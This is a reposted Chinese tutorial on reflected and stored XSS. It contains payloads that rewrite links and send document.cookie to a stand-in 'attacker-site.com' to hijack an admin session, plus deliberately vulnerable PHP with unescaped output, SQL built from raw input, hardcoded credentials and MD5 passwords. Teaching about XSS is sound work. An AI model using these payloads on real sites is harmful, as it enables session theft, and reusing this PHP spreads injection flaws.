XSS 跨站脚本攻击(Cross Site Scripting)
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS 跨站脚本攻击(Cross Site Scripting)相关的知识,希望对你有一定的参考价值。
xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。
xss攻击可以分成两种类型:
- 非持久型攻击
- 持久型攻击
下面我们通过具体例子,了解两种类型xss攻击。
1.非持久型xss攻击
顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
假设有以下index.php页面:
1 <?php 2 $name = $_GET[‘name‘]; 3 echo "Welcome $name<br>"; 4 echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>"; 5 ?>
该页面显示两行信息:
- 从URI获取 ‘name‘ 参数,并在页面显示
- 显示跳转到一条URL的链接
这时,当攻击者给出以下URL链接:
index.php?name=guest<script>alert(‘attacked‘)</script>
当用户点击该链接时,将产生以下html代码,带‘attacked‘的告警提示框弹出:
Welcome guest <script>alert(‘attacked‘)</script> <br> <a href=‘http://www.cnblogs.com/bangerlee/‘>Click to Download</a>
除了插入alert代码,攻击者还可以通过以下URL实现修改链接的目的:
index.php?name= <script> window.onload = function() { var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";} </script>
当用户点击以上攻击者提供的URL时,index.php页面被植入脚本,页面源码如下:
Welcome <script> window.onload = function() { var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";} </script> <br> <a href=‘http://www.cnblogs.com/bangerlee/‘>Click to Download</a>
用户再点击 "Click to Download" 时,将跳转至攻击者提供的链接。
对于用于攻击的URL,攻击者一般不会直接使用以上可读形式,而是将其转换成ASCII码,以下URL同样用于实现链接地址变更:
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
2.持久型xss攻击
持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。
session背景知识
我们知道HTTP是一个无状态维持的协议,所有请求/应答都是独立的,其间不保存状态信息。但有些场景下我们需要维护状态信息,例如用户登录完web应用后,再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。
这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。
攻击者可以提供一个攻击链接,当用户点击该链接时,向攻击者自己的服务器发送一条保存有用户session ID的信息,这样就可以窃取到用户的session ID,得到用户的执行权限。
现有以下login.php,其根据 user_name 在数据中查找相应的 pass_word,然后将用户提供的 password 与查数据库所得的 pass_word 进行比较,如果验证成功则创建对应于 user_name 的 session。
1 <?php 2 $Host= ‘192.168.1.8‘; 3 $Dbname= ‘app‘; 4 $User= ‘yyy‘; 5 $Password= ‘xxx‘; 6 $Schema = ‘test‘; 7 8 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password"; 9 10 /* Connect with database asking for a new connection*/ 11 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); 12 13 /* Error checking the connection string */ 14 if (!$Connect) { 15 echo "Database Connection Failure"; 16 exit; 17 } 18 19 $query="SELECT user_name,password from $Schema.members where user_name=‘".$_POST[‘user_name‘]."‘;"; 20 21 $result=pg_query($Connect,$query); 22 $row=pg_fetch_array($result,NULL,PGSQL_ASSOC); 23 24 $user_pass = md5($_POST[‘pass_word‘]); 25 $user_name = $row[‘user_name‘]; 26 27 if(strcmp($user_pass,$row[‘password‘])!=0) { 28 echo "Login failed"; 29 } 30 else { 31 # Start the session 32 session_start(); 33 $_SESSION[‘USER_NAME‘] = $user_name; 34 echo "<head> <meta http-equiv=\\"Refresh\\" content=\\"0;url=home.php\\" > </head>"; 35 } 36 ?>
另有以下home.php,其根据登入的用户是 admin 还是其他用户,显示不同内容,对于admin,其列出所有用户,对于其他用户,提供包含输入框的form,可在数据库中插入新的用户名信息。
1 <?php 2 session_start(); 3 if(!$_SESSION[‘USER_NAME‘]) { 4 echo "Need to login"; 5 } 6 else { 7 $Host= ‘192.168.1.8‘; 8 $Dbname= ‘app‘; 9 $User= ‘yyy‘; 10 $Password= ‘xxx‘; 11 $Schema = ‘test‘; 12 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password"; 13 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); 14 if($_SERVER[‘REQUEST_METHOD‘] == "POST") { 15 $query="update $Schema.members set display_name=‘".$_POST[‘disp_name‘]."‘ where user_name=‘".$_SESSION[‘USER_NAME‘]."‘;"; 16 pg_query($Connect,$query); 17 echo "Update Success"; 18 } 19 else { 20 if(strcmp($_SESSION[‘USER_NAME‘],‘admin‘)==0) { 21 echo "Welcome admin<br><hr>"; 22 echo "List of user‘s are<br>"; 23 $query = "select display_name from $Schema.members where user_name!=‘admin‘"; 24 $res = pg_query($Connect,$query); 25 while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) { 26 echo "$row[display_name]<br>"; 27 } 28 } 29 else { 30 echo "<form name=\\"tgs\\" id=\\"tgs\\" method=\\"post\\" action=\\"home.php\\">"; 31 echo "Update display name:<input type=\\"text\\" id=\\"disp_name\\" name=\\"disp_name\\" value=\\"\\">"; 32 echo "<input type=\\"submit\\" value=\\"Update\\">"; 33 } 34 } 35 } 36 ?>
注意以上场景中,对 admin 和其他用户进行了不同的权限设置,admin可以看到所有用户列表,下面我们来看如何获取 admin 的session ID,从而使得其他用户也能获得 admin 的权限。
首先,攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:
<a href=# onclick=\\"document.location=\\‘http://attacker-site.com/xss.php?c=\\‘+escape\\(document.cookie\\)\\;\\">bangerlee</a>
攻击者提交了条带<a>标签的数据,该条数据将保存在数据库中,而当 admin 用户登入时,包含 "bangerlee" 的用户列表将显示,如果 admin 用户点击 "bangerlee" 时,在 "attacker-site.com" 所在的服务器上,攻击者就可以窃取到 admin 的session-id:
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
有了该session-id,攻击者在会话有效期内即可获得 admin 用户的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。
当然,不是只有持久型xss攻击才能窃取session ID、用户的cookie信息,用非持久型xss也可以,只要引导用户点击某链接,将 document.cookie 信息传到指定服务器即可,以上仅作为说明持久型xss攻击的举例。
以上是关于XSS 跨站脚本攻击(Cross Site Scripting)的主要内容,如果未能解决你的问题,请参考以下文章
Fortify漏洞之Cross-Site Scripting(XSS 跨站脚本攻击)
跨站脚本攻击XXS(Cross Site Scripting)修复方案
django 浅谈CSRF(Cross-site request forgery)跨站请求伪造